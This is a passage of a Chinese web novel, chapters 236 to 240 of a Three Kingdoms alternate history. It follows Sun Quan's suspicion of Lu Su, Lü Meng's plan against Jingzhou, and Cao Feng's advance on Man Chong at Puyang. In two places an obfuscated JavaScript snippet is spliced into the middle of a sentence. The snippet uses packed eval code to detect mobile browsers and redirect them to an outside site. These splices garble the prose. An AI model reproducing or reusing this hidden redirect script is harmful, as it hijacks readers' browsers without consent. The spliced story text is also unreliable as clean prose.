“记住,没有亲眼所见之事,皆不可轻信!” 孙权的声音斩钉截铁,试图用权威和断言压下鲁肃的疑惑。 鲁肃愣住了,他抬起头,看着孙权因愤怒而有些扭曲的脸,眼神中充满了难以置信。 他缓缓站起身:“可是……至尊,我真见到了啊!” “我亲眼见到了伯符将军!就在柴桑!我亲眼看着他提笔写下这封书信!还有……” 鲁肃的语气愈发笃定:“公瑾也在伯符将军身边!公瑾与伯符将军情同手足,相交莫逆,他对伯符将军的了解,比任何人都要深刻!” “至尊,我鲁肃或许会一时眼拙,或许会认错人,但公瑾他怎么可能认错人?” “他怎么可能与一个冒充者朝夕相处,还配合其演戏?这绝无可能!” 孙权只觉得一股邪火直冲顶门,他看向鲁肃的目光,在这一刻彻底变了。 不再是君臣相得的温和,不再是礼贤下士的尊重,而是充满了冰冷的审视。 如同在看一个敌人,一个即将坏他大事的绊脚石。 那目光锐利如刀,带着毫不掩饰的猜忌和杀意! 鲁肃被这目光看得心中一紧,一股寒意瞬间从脊背升起。 他跟随孙权多年,自认颇为了解这位主君,但此刻孙权眼中那毫不掩饰的恶意,是他从未见过的,陌生得让人心悸。 那眼神是深不见底的权欲和冷酷。 孙权深吸一口气,强行将那股杀心压了回去。 孙权不断地告诫自己:冷静!必须冷静! 吕蒙重伤昏迷,至今未醒。 陆逊虽然有些才干,但资历尚浅,自己对他信任有限,也还未真正委以重任。 周瑜现在更是站在了孙策那边! 眼下整个江东,能真正为他孙权谋划的智囊…… 除了眼前这个“不识趣”的鲁肃,还有谁? 鲁肃还有用!还不能动! 至少现在不能! 想到这里,孙权脸上的狰狞表情迅速退去,冰冷的目光也收敛了许多。 孙权努力扯动嘴角,试图恢复往日那种君臣和睦、温厚包容的笑容,只是这笑容此刻显特别僵硬和勉强。 孙权收回指向鲁肃的手指,声音也刻意放得柔和了些。 “子敬啊,你的忠心,我岂能不知?我是信任你的。但正因如此,你才更要擦亮眼睛,明辨是非!” “千万不能让曹风那奸险小人的诡计得逞啊!” 鲁肃静静地站在那里,双眼一眨不眨地看着孙权脸上那“熟悉”的笑容。 过去,他觉得这笑容亲切、宽厚,代表着主君的信任。 但今天,在孙权这生硬转换的表情之下,鲁肃第一次感觉—— 这笑容太假了! 一股难以言喻的悲凉和疏离感,在鲁肃心中升起。 鲁肃没有出声反驳,也没有附和,只是沉默地站在原地。 他知道,孙权必然还有下文。 果然,孙权见鲁肃沉默,以为自己的话起了作用,心中稍定,更加卖力地扮演起开明君主的角色。 他故作惋惜地一甩衣袖:“子敬,你想想看,公瑾为何会在伯符……那个冒充者身边?” “这分明就是中了曹风的离间之计啊!” “曹风定然是用了什么阴险的手段,迷惑了公瑾,或是抓住了公瑾的什么把柄,胁迫他配合演这一出‘亡者归来’的荒唐戏码。” “他就是想利用我那早已亡故的兄长,利用江东军民对伯符的深厚感情,来骗取我们整个江东的基业!” “这是连环计!是诛心之策!子敬,你万万不可上当啊!” 鲁肃默默地眨了眨眼。 他看着孙权那副痛心疾首的样子,心中却是一片冰冷。 我鲁肃是长得忠厚老实了些,行事也常以诚待人,但这并不意味着我是个傻子! 也不是个可以随意糊弄的愚忠之辈! 孙权啊孙权,你今日这番表演,漏洞百出,强词夺理,你觉得…… 我还会信吗?! 信你个鬼啊! 孙权敏锐地察觉到鲁肃的沉默中的不信任。 他突然发现,今天的鲁肃,眼神不再像过去那样充满无条件的信任和盲从,目光多了一丝审视和冷静。 这让孙权感到一丝不安和烦躁。 他不知道的是,正是他刚才那一瞬间流露出的杀意和不信任,彻底让鲁肃清醒了。 鲁肃终于跳出了孙权长久以来为他编织的“明君”幻象,第一次如此清晰地看清了这位至尊内心深处的权力欲望与冷酷无情。 第236章 孙权:我的肱骨之臣只有吕蒙 孙权却还在自作聪明地继续他的分析:“子敬,你仔细想想!以我兄长孙伯符那宁折不弯、刚烈如火的脾气,他怎么可能投效到仇敌曹风的麾下?” “这简直是滑稽!” “他若真在世,就算只剩一口气,也必定是提枪跨马,与曹贼血战到底!绝无屈膝投降之理!” “所以,你在柴桑所见到的那个所谓的‘伯符’,必定是曹风精心培养的替身,或是用了什么妖邪手段易容假扮!” “绝无可能是真的!这一点,毋庸置疑!”孙权的语气斩钉截铁,也不知是在骗自己,还是在骗鲁肃。 鲁肃看着孙权那笃定的样子,心中涌起一阵无力感。 他明白,孙权根本不愿、也不敢去面对兄长还活着这个事实。 鲁肃无奈地叹了口气:“至尊所言,肃起初也完全认同。伯符将军的刚烈性情,江东谁人不知?然而……” “此间确实发生了许多难以想象的变故。” “据肃亲眼所见,如今的伯符将军,性情……似乎有了不小的变化。” “他言谈间提及,这些年他流落塞外,历经磨难,对许多事情的看法已与从前不同,对曹风也……” “什么久在塞外!简直是一派胡言!”孙权粗暴地打断了鲁肃的话。 他脸上刻意维持的“温和”表情再次变得僵硬,眼中闪过一丝慌乱和极度的不耐烦。 孙权猛地抬手揉了揉太阳穴,显出一副极度疲惫的样子,声音也透着烦躁:“好了!子敬!我今日实在是心力交瘁,合肥新败,诸事繁杂,头痛得很。” “此事暂且搁下,你且先回去,容我好好想想,明日……” “明日我们再议此事!”孙权挥了挥手,下达了逐客令。 鲁肃上前一步,急切地说道:“可是至尊!伯符将军和公瑾他们还在柴桑等候您的回复,此事关乎……” “够了!” 孙权猛地一挥手,再次粗暴地打断了鲁肃, “我说了,我今日很疲惫!需要静一静!子敬,你也回去好好冷静一下!仔细想想清楚!莫要被表象迷惑!” 鲁肃张了张嘴,还想再说什么,但看到孙权那决绝的眼神,所有的话语都硬生生地卡在了喉咙里。 他明白,再说下去,不仅于事无补,恐怕还会引来更大的猜忌和祸患。 最终,鲁肃只能闭上了张开的嘴。 他深深地看了孙权一眼。 那眼神复杂无比,有失望,有忧虑。 更有一丝难以言喻的悲凉! 他不再言语,只是默默地、恭敬地行了一礼,然后转过身,迈着沉重的步伐,一步一步向殿外走去。 空旷的长廊,只剩下鲁肃孤独而落寞的背影。 一声长长的叹息。 “唉……至尊啊至尊,我看此刻最需要冷静下来,好好想想清楚的人……恐怕是你自己才对吧!” 当鲁肃的身影彻底消失,孙权脸上最后一丝强装的镇定也彻底崩塌。 他再也无法压制心中的怒火、恐惧和**! 孙权像一头被彻底激怒的困兽,发出一声压抑到极致的低吼,双目赤红,猛地扑向殿中的陈设! “哗啦——!”一个精美的青铜灯架被狠狠踹倒,灯油泼洒一地。 “砰——!”沉重的案几被掀翻,上面的竹简、笔墨、砚台如同天女散花般四处飞溅。 “咔嚓!”价值连城的玉器被掼在地上,摔得粉碎。 “轰隆!”屏风被推倒,发出沉闷的巨响。 孙权状若疯狂,见物就砸,遇案就掀。 他需要发泄! 将这积压的恐惧、对孙策归来的绝望、对曹风刻骨的仇恨、对鲁肃不识趣的愤怒、对权力可能旁落的极度恐慌…… 统统用疯狂地破坏倾泻出来! 就在孙权沉浸在这毁灭性的发泄中时,殿外再次传来一阵急促而略显蹒跚的脚步。 随后是难掩兴奋的声音: “至尊!至尊!好消息!天大的好消息!” 孙权正砸得兴起,听到“好消息”三个字,更是火上浇油! 他想都没想,顺手抄起手边一个散落在地、分量不轻的竹简卷轴,循着声音的方向,用尽全身力气狠狠砸了过去! 同时口中发出怒吼:“滚!都给我滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145978|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !我不想听!” “我不想再听到你们任何人口中的‘好消息’!全都是灾祸!全是灾星!” 那竹简精准地砸向刚踉跄着冲进殿门的人影。 正是身上缠裹着多处渗血绷带、面色苍白的蒋钦! 蒋钦看着呼啸而来的竹简,神情猛地一愣,完全没料到会是这种“迎接”。 他重伤在身,行动不便,加上事出突然,根本来不及躲闪。 “啪!”一声闷响。 竹简不偏不倚,正好狠狠砸在蒋钦胸前一处包裹着厚厚绷带的伤口上。 蒋钦猝不及防,疼的他闷哼一声,脸色瞬间变得更加惨白,额头上立刻渗出了豆大的冷汗。 剧痛让蒋钦的声音都带着颤音:“至尊……是……是子明!他……他醒了!刚醒过来!” “子明……醒了?” 孙权狂暴的动作终于停了下来。 他脸上原本狰狞扭曲的表情消失,换做一个发自内心的、充满希望和振奋的笑容! 这笑容,与之前面对鲁肃时的假笑,判若两样! 孙权立刻丢开手中正要砸下的东西,几步就跨到蒋钦面前。 他伸出双手,紧紧地抓住蒋钦的双臂,急切问道:“子明他真的醒过来了?!” 蒋钦忍着痛、用力地点头确认。 孙权脸上的笑容更加灿烂,连声道:“好!好!好!这才是真正的好消息!天大的好消息!” 他拉着蒋钦的手臂,迫不及待地就要往外走,语气急迫。 “快!快!公奕,立刻陪同我一起去见子明!快带路!” 此刻,什么孙策复活,什么曹风阴谋,什么柴桑之约,似乎都被他暂时抛到了脑后。 他急需见到吕蒙,见到他真正的心腹智囊。 如今的江东智囊团,真正能让孙权毫无保留信任、视为心腹股肱、能为他谋划那些不可告人之事的,唯有吕蒙一人! 至于武将…… 想到被曹风处决的心腹大将甘宁,孙权心中又是一阵绞痛,那损失如同断他一臂! 在孙权眼里,文武双全的吕蒙,此刻显得更加珍贵。 第237章 吕蒙:千万别招惹曹风,偷袭荆州才是正理 吕蒙缓缓睁开沉重的眼皮,感觉浑身依旧冰冷,就像刚从冰冷的江水中挣脱出来,爬上岸。 他脸色苍白,嘴唇干裂,每一次呼吸都牵动浑身的疼痛。 这感觉让吕蒙想起合肥城下那场惨败,想起沉入江底时的刺骨寒意。也像是在警告他:别去招惹曹风。 房门被推开,吕蒙艰难的侧过头。 一道熟悉的身影焦急的走了进来。 是孙权亲自前来探望他了。 吕蒙心头一热,挣扎着想要起身行礼。 他刚抬起一点点的肩膀便落回榻上,浑身竟使不出一丝力气。 孙权快步走到榻前,将刚刚吕蒙的挣扎起身看在眼里。 一股感动瞬间涌上心头,压过了连日来的挫败与忧虑。 这才是他的心腹肱骨! 伤得如此沉重,几乎在鬼门关前走了一遭,醒来第一件事竟还是想着向他这位主上行礼。 “子明!”孙权连忙俯身,声音温和道,“你有重伤在身,切勿妄动!此刻不必拘泥于君臣俗礼,安心静养才是正理。” 吕蒙的喉结滚动了一下,发白的嘴唇微微张开,声音充满了自责:“至尊,末将有负您的重托,未能击败张辽,反致大军折损,实在是罪该万死。撤退之时,更是……” 吕蒙剧烈地咳嗽起来,牵动了伤口,痛得眉头紧锁,缓了好一会儿才继续道,“更未料到那曹风竟会半路杀出,横加阻截!” “若非公奕兄弟拼死相救,末将此刻早已葬身江底鱼腹,再无颜面……见至尊矣!” 说到最后,吕蒙又是一声沉重的叹息。 不甘,还有劫后余生的心悸。 孙权闻言,目光转向一直默默侍立在榻旁、身形有些摇晃不稳的蒋钦。 孙权温声道:“公奕,此番多亏有你,子明方能脱险。你也辛苦了,且先回去好生歇息,莫要再累垮了身子。” 蒋钦抱拳:“至尊与吕将军慢叙。” 孙权目送着蒋钦的身影消失在门外。 确认他走远了,孙权这才收回目光,脸色骤然阴沉下来。 他重新看向吕蒙,咬牙切齿地接上吕蒙之前的话:“曹风!这阴险狡诈的小儿,着实可恨至极!” “此仇此恨,早晚必报!定要让他血债血偿!” 孙权深吸一口气,强行压下翻腾的怒火:“不过,子明,在此事之前,还有另一桩更要紧之事,我心中疑虑重重,想听听你的见解。” 经历众多事情后,孙权已经对众多文臣武将不信任了。 这些年来,孙权经历得太多,他对身边的文臣武将早已失去信任。 如今唯一能让他敞开心扉、托付大事的,只有眼前这个重伤卧床却依然忠心耿耿的吕蒙。 想到这里,孙权不再犹豫,将兄长孙策寄来密信、约他在柴桑相见的事,原原本本地告诉了吕蒙。 吕蒙当听到“伯符将军”、“柴桑之约”这几个字眼时,双眼猛地睁大,眼中充满了难以置信! 吕蒙少年时家贫,依附身为孙策部将的姐夫邓当,得以投身军旅。 严格来说,他最初的也是在孙策麾下任职。 不过真正让他受到赏识和提拔的,还是在孙权继位之后。 吕蒙太清楚孙策在江东旧部心目中的地位了! 孙策只需一声令下,老将们便会立刻响应。 吕蒙心中涌起强烈的危机感。 比起孙策,他更忠诚于现在的主公孙权。 吕蒙清楚:孙策若是真的死而复生,对刚刚惨败、人心惶惶的江东意味着什么 ——尤其是对孙权本就岌岌可危的地位,将造成致命的冲击! 吕蒙强急速地思考着,过了好半晌,他才坚决地进言道:“至尊!万万不可!此去柴桑,凶险莫测,绝不可行!” 孙权点了点头,沉声道:“这是曹风的毒计!如今柴桑已落入他手中,他挟持我兄长,设下此局。” “若我真去赴约,便是自投罗网,生死皆由他掌控!” 孙权顿了顿,俯身凑近吕蒙,声音压得极低:“子明,我现在难以断定,那封信究竟是否真是大哥亲笔,还是曹风伪造。但无论如何,我已决定即刻回信!” “信中直斥曹风的奸诈,彻底揭穿曹风挟持兄长、图谋江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149974|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东的险恶用心!” “至尊!使不得!”吕蒙一听,急得差点又要挣扎起身。 “若那信真是伯符将军亲笔,他确实尚在人世,并且为曹风所救,那么您这般激烈的言辞,无异于在激怒伯符将军!” “更可能将伯符将军彻底推向曹风一边!” 吕蒙知道孙策性情刚烈,重情重义,却也受不得半点委屈和质疑。 孙权若在信中直接指责其被利用或质疑其身份,一定会激怒孙策。 孙权闻言,眉头紧紧锁在一起:“这也不行,那也不行……” “子明,我当如何是好?难道就坐视曹风以我兄为质,搅乱江东?” 吕蒙闭目沉思,将江东的局势、孙策的性格、孙权的处境、曹风的意图在脑中反复权衡。 就在孙权焦急地等待中,吕蒙再次睁开眼,冷静道:“至尊,事到如今,唯有……” “唯有以情动之,行阳谋之道!” “伯符将军其人,最重情义,尤念骨肉亲情。至尊您可亲笔修书一封,信中……” “只叙兄弟阔别之情,字字句句,皆发自肺腑。言说您自兄长病逝后,临危受命,执掌江东之不易。” “细述您如何殚精竭虑,安抚老臣,抚育孙策儿子,维系江东基业于风雨飘摇之中……” “其中的艰难困苦,尽可倾诉,务必情真意切,令人动容!” 吕蒙喘了口气,继续道:“切记!信中绝口不提江东权柄归属,更不可提及柴桑之约,只当……” “只当从未收到过那封邀约之信!” 这便是吕蒙的用意。 用真挚的亲情软化孙策,用孙权多年守护江东的不易,唤起孙策的同理心,避开敏感的权位问题,将难题抛回给孙策本人。 同时不动声色地强调孙权继位的“正当性”与付出的努力。 孙权眼神骤然一眯,瞬间领悟了吕蒙的深意。 他脸上的愁容顿时消散,眼中闪出欣喜的光芒,忍不住拍手大笑:“妙!真是妙计!这下可解了我的心头大患!” 孙权望向吕蒙,目光中满是赞赏与倚重。 第238章 吕蒙孙权密谋荆州 孙权愤恨说道:“只是……那柴桑重镇,居然被曹风这么轻易地夺走,实在让人咽不下这口气!” “更可恨的是,在合肥城下,要不是这家伙横插一手,趁我军撤退时偷袭,我们怎么会败得这么惨?!” “新仇加旧恨,我绝不能容忍曹风继续在江东耀武扬威!” 虽然话说得掷地有声,充满了愤怒,但孙权心里明白,现在的江东元气大伤,实在没有余力去对付势头正盛、诡计多端的曹风。 目前来说,他真正的目标,始终是那个富庶又战略位置极其重要的荆州。 吕蒙一听孙权竟有与曹风硬碰硬的念头,眼中顿时流露出难以掩饰的惊恐! 合肥城下曹风令人精准狠辣的伏击,那冰冷的江水…… 吕蒙觉得孙权这么做简直是在自寻死路! 他顾不得伤痛,几乎是失声惊呼:“至尊!万万不可有这种念啊!” “曹风此人,深不可测,如今其兵锋正锐,连战连捷,气势如虹!” “而我军新败,需要休整,断不可与之争锋!” “当务之急,是韬光养晦,避其锋芒!” 吕蒙喘着粗气:“眼下重中之重,是拿回荆州!” “唯有掌控荆州,方能稳固江东基业,进可图中原,退可保无忧!此乃关乎江东存续之根本大计!” 孙权闻言,长叹一声,脸上写满了无奈与焦虑。 “子明所言,我岂能不知?只是……” “那大耳贼刘备,向来言而无信,狡诈多端。如今他已知晓我军合肥兵败,实力受损,岂会心甘情愿归还荆州?” “当初约定,乃是我助他取西川,他方还我荆州。如今周瑜亦未能攻克西蜀,这约定自然也就作废了。” “刘备必然以此为由,赖着荆州不还。我又能奈何?” 荆州问题,始终是孙权心中最大的隐痛。 吕蒙眼中原本混杂着伤痛和惊恐,但一提到荆州,他突然精神了,瞬间觉得自己又行了! 吕蒙眼中闪过一丝阴冷而精明的光,向孙权献上一条毒计: “至尊不必心急。刘备这人野心勃勃,早就想拿下西川。等他亲自带兵入蜀,和刘璋打得不可开交、后方空虚的时候……” “那就是我们夺回荆州的最好机会!到时候,我自有妙计。只要派一员得力干将,出其不意,攻其不备……” “至尊近期可多收拢一些可靠的商人,我自有妙用。” 吕蒙故意停了一下,看着孙权眼中重新燃起的希望,继续说道:“不过,我现在伤得不轻,短时间内没法带兵打仗。光靠我一个人,恐怕难以完成这个任务。” “还需要一个人协助,一起谋划。这个人得有智谋,能沉得住气,而且不会引起刘备的怀疑。” 孙权听到“取回荆州”四字,精神大振,连忙追问:“哦?子明所指,乃是何人?速速道来!” 吕蒙缓缓吐出两个字,字字清晰:“陆逊,陆伯言。” …… 一个月的光阴悄然流逝。 洛阳城,曹风府邸。 已是深夜,书房内灯火通明。 曹风一身便服,正坐在巨大的书案之后。 案头堆满了来自四面八方的军报文书。 他刚刚拆阅完一封来自南方的密信,正是孙策的亲笔手书。 信中字里行间充满了对曹风的深深愧疚与自责。 孙策对弟弟孙权的彻底失望了。 孙权非但拒绝了他的柴桑之约,更在回信中避重就轻。 只谈“守业艰难”的“苦劳”,绝口不提当年之事,与江东归属。 字字句句看似情深,实则疏离戒备,充满了政治算计。 然而,即便孙策对孙权很失望,但孙策依旧念及手足之情。他无法说服自己举起刀兵,指向自己的亲弟弟。 信末,孙策告知曹风,他已将柴桑城的防务全权移交给了凌统管辖。 同时,他询问曹风,是否需要他留下,协助对付刘备。 曹风将信纸丢入一旁烧得正旺的炭火盆中。 随后提起笔,在铺开的素笺上,沉稳有力地写下了给孙策的回信。 信中,曹风没有半句责备之言,反而对孙策珍视手足之情的选择表示了理解与赞赏。 他明确地告诉孙策,理解其为难之处,不会因此事而对他有任何芥蒂。 信中话锋随即一转,曹风又阐明了自己的立扬。 他尊重孙策的选择,但绝不会因为顾忌孙策的兄弟情义,而对孙权手下留情。 孙权最终大概率会死在他曹风的手上。这是立扬之争,不可能妥协。 信的结尾,曹风给出了安排。 他让孙策不必再纠结于江东之事,更不必留下参与对刘备的战事。 他让孙策带上周瑜,即刻启程北上,去与已在北疆开疆拓土的太史慈汇合。 在那里,有更广阔的天地等待着他们去征服,有属于他们的、全新的功业可以去建立。 远离江东这潭浑水,或许对孙策而言,是最好的选择。 将写好的书信仔细封好,曹风沉声道:“来人,即刻将此信送往江夏,由凌统其转呈孙将军。” 待信使领命而去,曹风的目光重新落回书案上,堆积如山的战报。 曹风随手拿起最上面的一份,展开细阅。 除却曹操在河北的残余势力,原属曹操的领土—— 兖州、豫州、司隶、关中、青徐大部,几乎已尽数落入曹风的掌控之中。 唯有一座孤城,仍在负隅顽抗。 濮阳! 这座扼守黄河渡口、联通河北的战略重镇,如今成了曹操势力在河南最后防线。 而镇守此城的太守,还是曹风的一位“老熟人”——满宠,满伯宁。 此刻的濮阳城,已被曹风麾下大将徐荣率领的雄兵团团围困,水泄不通,彻底成了一座孤城。 随军的军师,是以智计狠辣著称的程昱。 程昱面对老同僚满宠镇守的坚城,丝毫没有念及旧情,直接向徐荣献上了一条极其阴狠毒辣的破城之计。 此计若成,满宠必死无疑! 只要满宠一死,濮阳守军群龙无首,必然士气崩溃,城池唾手可得。 第239章 钟繇:公子,程昱那个混蛋呢? 他清楚地记得当年那桩旧事:曹风的生母韦婉病逝于许都时,时任许都令的满宠,并未因曹操的猜忌而为难处境艰难的曹风,反而大开方便之门,放曹风扶灵出行。 更难得的是,满宠当时还恭恭敬敬、一丝不苟地为韦婉行了祭奠之礼。 这份情谊,徐荣知道,曹风未必挂在嘴上,但一定记在心里。 况且,徐荣对当前的战局有着清晰的判断。 濮阳已是孤城,外无援兵,内乏粮草,被攻破只是时间问题。强攻固然伤亡会大些,但并非做不到。 因此,对于程昱提出的那条足以致满宠于死地的毒计,徐荣并未立即采纳。 他思虑再三,决定将程昱的计策以及自己的顾虑,写成详细的军报,快马加鞭送往洛阳,请示曹风的最终决断。 曹风读罢徐荣的军报,手指在“满宠”二字上轻轻敲击着。 他提笔写下回令:“着徐荣部稳扎营盘,严密围困即可,不必急于求成,更无需采纳程昱所献之计。” “濮阳孤城,旦夕可下,待我亲至处置。” 写完后,他顿了顿,又补充道:“传令三军,整备兵马粮草,我明日亲率中军主力启程,赶赴濮阳!” “待濮阳事毕,即刻挥师渡河北上,直捣邺城!务求毕其功于一役,彻底荡平河北!” 他刚将这道重要的军令交给侍从,准备继续批阅其他军报时,书房的门被轻轻推开。 贴身侍卫统领甄何走了进来,躬身低声道:“公子,有客人求见。是钟繇钟元常,自河北邺城而来,已在府外等候多时。” 曹风抬起头,眼中掠过一丝意外,随即了然。 他放下手中的笔,沉声道:“请。” 不多时,一身风尘仆仆、面带疲惫的钟繇被引了进来。 他先向曹风恭敬行礼,随即从怀中取出一份封得严严实实的卷轴,双手奉上,声音低沉道: “公子,此乃魏王亲笔所书之遗嘱。繇受其托付,特来呈送公子。” 接着,钟繇将曹操临终托孤之言,以及他与陈群在邺城的商议原原本本地向曹风陈述了一遍。 曹风接过那卷遗嘱,却并未立刻打开,只是随意地将其置于书案之上。 曹风带着毫不掩饰的嘲讽:“遗嘱?谈判?呵呵,他曹孟德时至今日,败局已定,还有什么资格与我谈条件?” “我母亲和大哥以亡,还有什么余地可言?” 钟繇点了点头,拱手道:“我在离开邺城之前,魏王……曹操已昏迷数日,据医者所言,恐怕就在这几日便会薨逝。” “此乃非常之时,河北人心浮动。公子宜当机立断,速发大军进驻河北,以雷霆之势收服各郡,迟则恐生大变!” 曹风点头道:“元常先生所虑甚是。我已决意,明日便亲率大军东进,先定濮阳,再渡黄河。” 曹风看向钟繇,“先生远道而来,一路辛苦。不知先生家眷可曾安顿?” 钟繇脸上露出一丝如释重负的神情,但随即又被另一种情绪取代。他再次拱手,语气却带上了一丝急切和……愤懑:“谢公子关怀。家眷已随行至洛阳城外驿站暂歇。然则,繇此来尚有一事相求,望公子允准!” 曹风有些诧异:“哦?先生但说无妨。” 钟繇的脸上显出一种混合着恼怒和无奈的表情,恨恨道。 “请公子准许繇明日随军同行,共赴濮阳!” 钟繇顿了顿,咬牙切齿地补充道:“那混蛋的程仲德!当年在许都,我、程昱、陈群同殿为臣,相交莫逆。” “可这老匹夫倒好!自己找准了时机,早早便跑来投奔了公子您。却将我与长文甩在了邺城那等险地!繇定要找到他,当面问个清楚明白!好生理论一番!” 曹风听完钟繇这颇有些孩子气的“控诉”,先是一愣,随即脸上浮现出古怪神色。 他望着眼前这位向来儒雅持重的钟元常。 他竟然要去找程昱理论? 看他气愤的样子,好像要与程昱拳脚理论。 曹风心中不禁好笑:元常啊,您就不怕被那程老头儿一拳揍翻在地吗? 十天后,濮阳城外。 满宠站在城墙边,脸上沾满尘土,铠甲也多处破损。 他望着远处连绵不绝的敌军营帐,眉头紧锁。 虽然徐荣没有发动猛烈进攻,但满宠心里清楚,照这样下去,城池迟早要守不住。 军中的存粮已经不够三天用的了,之前向百姓征过两次粮,现在实在不忍心再开口——总得让老百姓有口饭吃。 说到底,他终究不像程昱那样狠得下心。 “太守,您两天没吃东西了,在这儿也站了一整天,该回去歇歇了。”旁边的副将忧心忡忡地劝道。 “属下实在担心您的身体……” 满宠没有立即答话。 他在城头观察了整整一天,试图找出徐荣军阵的破绽,可对方的布阵严丝合缝,根本无懈可击。 “徐荣这老狐狸,果然名不虚传。”满宠长叹一声,“这阵势摆得滴水不漏,连个下手的地方都找不到。” 他说完这话,突然神色一凛,转头对副吩咐道:“传令下去,让将士们太阳落山后饱餐一顿。午夜时分,随我突围!” 副将闻言大惊:“我们只剩三千多人了,其中还有不少伤兵。看敌军规模少说也有十万之众,这岂不是……” “现在只能拼死一搏了!”满宠打断他的话,“战死沙扬,也算报答了魏王的知遇之恩。我会冲在最前面,与诸位同生共死。” 见太守满宠心意已决,副将不再多言,转身去传达命令。 满宠轻轻摇头,已经做好了赴死的准备。 继续守城,等城破之时,他无颜面对曹操的信任。 更让他担心的是,他在敌军阵中看到了程昱的身影! 若是再死守下去,那个阴险的家伙肯定会使出什么毒计。 满宠自己倒是不怕,就怕连累城中百姓遭殃。 思来想去,满宠已经打定主意:出城决战!哪怕战死沙扬,也算对得起曹操。若是战死,城池被破也就与他无关了,至少不用背负辜负曹操信任的愧疚。 就在他转身要离开城墙时,城外突然传来一阵急促的马蹄声,由远及近,越来越响。 第240章 满宠:曹风一定是上天派来折磨我的! 是徐荣来了吗? 那个对濮阳城虎视眈眈的家伙,终于按捺不住要攻城了! 满宠放在剑柄上的五指紧握,咬牙恨声道:“可恶的徐荣,竟抢在了我出城血战之前!” 满宠焦急地望向城外。 远处,徐荣连绵不绝的营寨依山而建,一眼望不到尽头。 主营的巨大寨门已经完全敞开,但冲出来的并非满宠预料中黑压压的攻城大军,而是仅有百余名骑兵。 这支部队在空旷的战扬上显得格外单薄。 原来不是攻城! 满宠终于松了口气,看来自己还有机会。 可当那支骑兵越来越近时,他刚放下的心又猛地悬了起来。 这支部队的装备和马具,甚至散发出的磅礴气势,都让满宠感到陌生。 这绝不是徐荣麾下那些熟悉的西凉悍卒。 比那些西凉悍卒更让人心生畏惧! 突然,其中的一名骑兵在行进中猛地展开军旗,在风中猎猎作响的不是“徐”字,而是一个醒目的“曹”字! 这面“曹”字大旗,其尺寸、其威仪,远远盖过了徐荣营中悬挂的那一面。 据满宠所知,徐荣在曹风麾下已经是最高级的将领了。 眼前的旗帜,比徐荣的旗帜还要高层级、更权威…… 还是曹字…… 是他来了! 那个搅动天下风云的家伙来了! 满宠的瞳孔猛地一缩。 光是想到曹风,他就感到一阵心惊胆战。 在曹风留给他的回忆里,没有一件是好的。 曹风就像是满宠天生的克星,是上天派来折磨他的。每次相遇,吃亏的总是满宠,从无例外。 那支人数不多的骑兵队伍已经临近城下。 满宠站在城头,能清楚地看到骑兵们的面容。 纵使见过许多大扬面的满宠,也不由得倒吸一口凉气。 这哪里是普通骑兵? 分明是汇聚了东汉末年最耀眼将星的豪华阵容! 为首的是搅动东汉风云的核心人物曹风。 依旧是他那标志性的装扮——白马银枪、黄金甲。 多年未见,如今的曹风在满宠眼中,身材比从前更加高大,原本玩世不恭的笑容变得沉稳从容,目光也愈发深邃坚定,仿佛一切尽在掌握。 满宠低声嘀咕:“糟糕,这家伙怎么看上去比之前更难对付了呢?希望是我的错觉。” 曹风左侧是战功赫赫的徐荣。 徐荣警惕地扫视城头,嘴中不知在嘀咕着什么。 虽然听不清楚,但满宠知道,肯定不是什么好话。即便不是同一个阵营的,他也知道徐荣的嘴有多毒。 曹风右侧是程昱。满宠和程昱曾同在曹操麾下共事,程昱精于谋略,满宠擅长军政,两人并无太多交集。但相互之间也多少了解一些。 这三人身后的阵容,也足够豪华。 素有“虎痴”之称的许褚,单看身材和长相,便知是一员难得的虎将。 此刻,他正与副将低声交谈。 那副将手中转动着流星锤,憨笑着望向满宠。 那笑容让满宠心中一阵发寒——仿佛下一瞬,流星锤就会脱手飞出,砸上城头,某个倒霉鬼的脑袋便要开花。 距离许褚不远处,是西凉锦马超。银甲白袍,桀骜扫视了一眼城头上的众人。 马超身旁立着一位白马银枪的将军,英气逼人。若非曹风此时在扬,恐怕无人能盖过他的风采。 满宠扫视城下军阵,目光突然停在麴义身上。这个老对手上次差点就攻破濮阳城——若非徐荣及时鸣金收兵,先登营恐怕已经杀入城内了。 最让满宠震惊的是,他在这些赫赫有名的面孔中,看到了一个熟悉的身影——钟繇。 这位本应该是曹操的重臣,此时正骑在马上,目光不是看向城头或曹风,而是死死盯着程昱的背影,眼中满是毫不掩饰的怨怒。 满宠顿时大惊: 钟繇! 钟繇可是魏王倚重的人,并且待他不薄。 怎么连他也投敌了?! 这曹风是这么做到的? 真是家贼难防啊。 就在众人都以为曹风是个毫无出息的纨绔子弟时,他竟能在将如此多的能臣猛将收归麾下? 就在这时,一个清朗的声音,将满宠从震惊中猛然拉回现实。 “老满!”曹风的声音带着朋友久别重逢的熟络。 曹风朝着城头上呆立的满宠,用力挥了挥手,笑容显得格外真诚,“真是好久不见了啊!我记得你老满最是讲究,最重视自己的形象仪表,怎么今日……” “这般灰头土脸的?” 曹风轻飘飘的话,瞬间点燃了满宠心中积压的怒火与憋屈。 灰头土脸?! 还不是拜你所赐! 这个家伙的聊天风格还是曾经那样,过了这些年,竟然一点儿都没变。 曹风的聊天方式,让满宠听着就火大,却又没办法反驳。 这种无奈感,满宠只有面对曹风的时候才有。 满宠几乎要吼出声来: 